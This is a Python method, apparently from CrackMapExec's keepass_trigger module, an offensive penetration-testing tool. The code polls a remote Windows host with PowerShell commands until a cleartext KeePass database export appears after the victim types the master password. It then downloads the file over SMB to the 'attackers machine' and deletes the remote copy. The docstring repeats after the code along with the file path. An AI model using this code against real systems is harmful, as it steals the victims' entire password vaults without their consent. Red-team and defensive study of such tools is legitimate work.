def poll(self, context, connection):
        """Search for the cleartext database export file in the specified export folder
        (until found, or manually exited by the user)"""
        found = False
        context.log.display(f"Polling for database export every {self.poll_frequency_seconds} seconds, please be patient")
        context.log.display("we need to wait for the target to enter his master password ! Press CTRL+C to abort and use clean option to cleanup everything")
        # if the specified path is %APPDATA%, we need to check in every user's folder
        if self.export_path == "%APPDATA%" or self.export_path == "%appdata%":
            poll_export_command_str = "powershell.exe \"Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output ('C:\\Users\\'+$_.Name+'\\AppData\\Roaming\\{}')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}\"".format(self.export_name)
        else:
            export_full_path = f"'{self.export_path}\\{self.export_name}'"
            poll_export_command_str = 'powershell.exe "if (Test-Path {} -PathType leaf){{ Write-Output {} }}"'.format(export_full_path, export_full_path)

        # we poll every X seconds until the export path is found on the remote machine
        while not found:
            poll_exports_command_output = connection.execute(poll_export_command_str, True)
            if self.export_name not in poll_exports_command_output:
                print(".", end="", flush=True)
                sleep(self.poll_frequency_seconds)
                continue
            print("")

            # once a database is found, downloads it to the attackers machine
            context.log.success("Found database export !")
            # in case multiple exports found (may happen if several users exported the database to their APPDATA)
            for count, export_path in enumerate(poll_exports_command_output.split("\r\n")):
                try:
                    buffer = BytesIO()
                    connection.conn.getFile(self.share, export_path.split(":")[1], buffer.write)

                    # if multiple exports found, add a number at the end of local path to prevent override
                    if count > 0:
                        local_full_path = self.local_export_path + "/" + self.export_name.split(".")[0] + "_" + str(count) + "." + self.export_name.split(".")[1]
                    else:
                        local_full_path = self.local_export_path + "/" + self.export_name

                    # downloads the exported database
                    with open(local_full_path, "wb") as f:
                        f.write(buffer.getbuffer())
                    remove_export_command_str = "powershell.exe Remove-Item {}".format(export_path)
                    connection.execute(remove_export_command_str, True)
                    context.log.success('Moved remote "{}" to local "{}"'.format(export_path, local_full_path))
                    found = True
                except Exception as e:
                    context.log.fail("Error while polling export files, exiting : {}".format(e))
Search for the cleartext database export file in the specified export folder
        (until found, or manually exited by the user)
cme/modules/keepass_trigger.py